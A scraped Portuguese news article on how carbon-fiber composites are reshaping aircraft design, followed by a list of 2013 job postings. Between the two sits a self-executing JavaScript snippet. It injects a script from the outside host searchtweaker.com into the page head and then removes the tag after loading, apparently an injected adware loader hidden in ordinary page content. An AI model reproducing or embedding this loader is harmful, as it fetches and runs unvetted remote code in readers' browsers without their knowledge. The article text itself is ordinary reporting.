Fonte: Inovacao TecnologicaQuando se trata de avioes, peso e dinheiro. Quanto mais pesado um aviao e, mais combustivel ele gasta. E quanto mais combustivel ele gasta, mais cara fica sua operacao, o que significa passagens mais caras para o publico e menos possibilidades de ganhos para as companhias.Cada quilograma a menos no peso de um aviao significa uma economia de cerca de US$ 1 milhao em custos ao longo do tempo de vida de uma aeronave - e o uso de compositos e fibras artificiais pode reduzir o peso de uma aeronave em ate 20%.O esforco para melhorar a eficiencia de combustivel e aumentar o desempenho aerodinamico dos avioes esta levando os projetistas e engenheiros a fugir das fuselagens metalicas. A saida mais imediata e fabricar componentes de fibra de carbono, que sao mais leves do que pecas similares feitas de aluminio.E claro que, desde meados da decada de 1970, alguns avioes civis ja incorporavam a fibra de carbono em suas fuselagens. Mas a mudanca agora e mais radical. O uso de fibra de carbono ja permitiu, por exemplo, a criacao de pontas das asas curvas, o que pode reduzir o consumo de combustivel em ate 5%.Atualmente, o 787 Dreamliner da Boeing usa compositos em metade da sua fuselagem, enquanto o Airbus A350 XWB tem sua fuselagem e asas feitas de fibra de carbono. Nem tudo da certo na primeira vez, mas os desafios estao sendo vencidos aos poucos, fazendo o esforco valer a pena.Novos formatos de avioesA grande vantagem do uso de fibra de carbono em lugar do metal tradicional e que os projetistas tem muito mais liberdade ao tentar equilibrar as demandas conflitantes de eficiencia aerodinamica, economia de combustivel e reducao do ruido dos motores. Isto esta fazendo os engenheiros sonharem com uma aparencia radicalmente diferente para seus futuros avioes.Esses novos formatos incluem projetos onde a fuselagem e as asas se fundem - sao as asas voadoras, ou avioes-asa. Esse design pode melhorar significativamente a proporcao sustentacao-arrasto de um aviao, tornando-o aerodinamicamente mais eficiente e reduzindo o seu peso por passageiro transportado.A propria Airbus ja possui um conceito futurista de aviao que vai exigir fugir do tradicional projeto tubo com asas. Mais radical, e um pouco mais distante no futuro, esta o SpaceLiner, o aviao hipersonico europeu.Avioes de fibra de carbonoAntes disso, porem, as fibras de carbono ja estao permitindo avancos.Com a flexibilidade no projeto, as turbinas ficarao mais embutidas no corpo do aviao, algo que esta sendo permitido tambem pela maior confiabilidade dos motores, com as equipes de terra precisando acessa-los menos frequentemente para manutencao.Ainda nao se sabe exatamente como serao os avioes do futuro, mas o fato e que os novos materiais, mais leves e mais resistentes do que os metais, terao neles um papel crucial.(function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})(); Oportunidades Relacionadas a Engenharia Ambiental Vagas Emprego 06/08/2013 - Programa de Trainee Philip Morris Brasil 2014 06/08/2013 - Programa de Trainee BRF 2014 06/08/2013 - Programa Junior Manager Danone 2014 06/08/2013 - Emprego consultor ambiental (projeto de aterro sanitario), Guarulhos SP 06/08/2013 - Emprego engenheiro ambiental